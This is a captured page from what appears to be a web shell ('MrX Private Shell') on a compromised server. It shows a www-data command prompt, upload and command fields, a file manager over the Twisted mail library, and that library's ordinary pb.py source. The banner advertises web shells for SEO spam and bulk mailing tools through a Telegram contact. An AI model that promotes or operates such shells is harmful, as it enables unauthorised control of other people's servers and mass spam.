__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
# Copyright (c) Twisted Matrix Laboratories.
# See LICENSE for details.


import os

from twisted.spread import pb


class Maildir(pb.Referenceable):
    def __init__(self, directory, rootDirectory):
        self.virtualDirectory = directory
        self.rootDirectory = rootDirectory
        self.directory = os.path.join(rootDirectory, directory)

    def getFolderMessage(self, folder, name):
        if "/" in name:
            raise OSError("can only open files in '%s' directory'" % folder)
        with open(os.path.join(self.directory, "new", name)) as fp:
            return fp.read()

    def deleteFolderMessage(self, folder, name):
        if "/" in name:
            raise OSError("can only delete files in '%s' directory'" % folder)
        os.rename(
            os.path.join(self.directory, folder, name),
            os.path.join(self.rootDirectory, ".Trash", folder, name),
        )

    def deleteNewMessage(self, name):
        return self.deleteFolderMessage("new", name)

    remote_deleteNewMessage = deleteNewMessage

    def deleteCurMessage(self, name):
        return self.deleteFolderMessage("cur", name)

    remote_deleteCurMessage = deleteCurMessage

    def getNewMessages(self):
        return os.listdir(os.path.join(self.directory, "new"))

    remote_getNewMessages = getNewMessages

    def getCurMessages(self):
        return os.listdir(os.path.join(self.directory, "cur"))

    remote_getCurMessages = getCurMessages

    def getNewMessage(self, name):
        return self.getFolderMessage("new", name)

    remote_getNewMessage = getNewMessage

    def getCurMessage(self, name):
        return self.getFolderMessage("cur", name)

    remote_getCurMessage = getCurMessage

    def getSubFolder(self, name):
        if name[0] == ".":
            raise OSError("subfolder name cannot begin with a '.'")
        name = name.replace("/", ":")
        if self.virtualDirectoy == ".":
            name = "." + name
        else:
            name = self.virtualDirectory + ":" + name
        if not self._isSubFolder(name):
            raise OSError("not a subfolder")
        return Maildir(name, self.rootDirectory)

    remote_getSubFolder = getSubFolder

    def _isSubFolder(self, name):
        return not os.path.isdir(
            os.path.join(self.rootDirectory, name)
        ) or not os.path.isfile(os.path.join(self.rootDirectory, name, "maildirfolder"))


class MaildirCollection(pb.Referenceable):
    def __init__(self, root):
        self.root = root

    def getSubFolders(self):
        return os.listdir(self.getRoot())

    remote_getSubFolders = getSubFolders

    def getSubFolder(self, name):
        if "/" in name or name[0] == ".":
            raise OSError("invalid name")
        return Maildir(".", os.path.join(self.getRoot(), name))

    remote_getSubFolder = getSubFolder


class MaildirBroker(pb.Broker):
    def proto_getCollection(self, requestID, name, domain, password):
        collection = self._getCollection()
        if collection is None:
            self.sendError(requestID, "permission denied")
        else:
            self.sendAnswer(requestID, collection)

    def getCollection(self, name, domain, password):
        if domain not in self.domains:
            return
        domain = self.domains[domain]
        if name in domain.dbm and domain.dbm[name] == password:
            return MaildirCollection(domain.userDirectory(name))


class MaildirClient(pb.Broker):
    def getCollection(self, name, domain, password, callback, errback):
        requestID = self.newRequestID()
        self.waitingForAnswers[requestID] = callback, errback
        self.sendCall("getCollection", requestID, name, domain, password)

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
newsfragments Folder 0755
scripts Folder 0755
test Folder 0755
__init__.py File 142 B 0644
_cred.py File 2.68 KB 0644
_except.py File 8.49 KB 0644
_pop3client.py File 45.64 KB 0644
alias.py File 23.43 KB 0644
bounce.py File 3.1 KB 0644
imap4.py File 206.47 KB 0644
interfaces.py File 31.32 KB 0644
mail.py File 20.09 KB 0644
maildir.py File 27.07 KB 0644
pb.py File 3.62 KB 0644
pop3.py File 53.6 KB 0644
pop3client.py File 487 B 0644
protocols.py File 12.04 KB 0644
relay.py File 5.14 KB 0644
relaymanager.py File 37.6 KB 0644
smtp.py File 70.6 KB 0644
tap.py File 12.5 KB 0644
Filemanager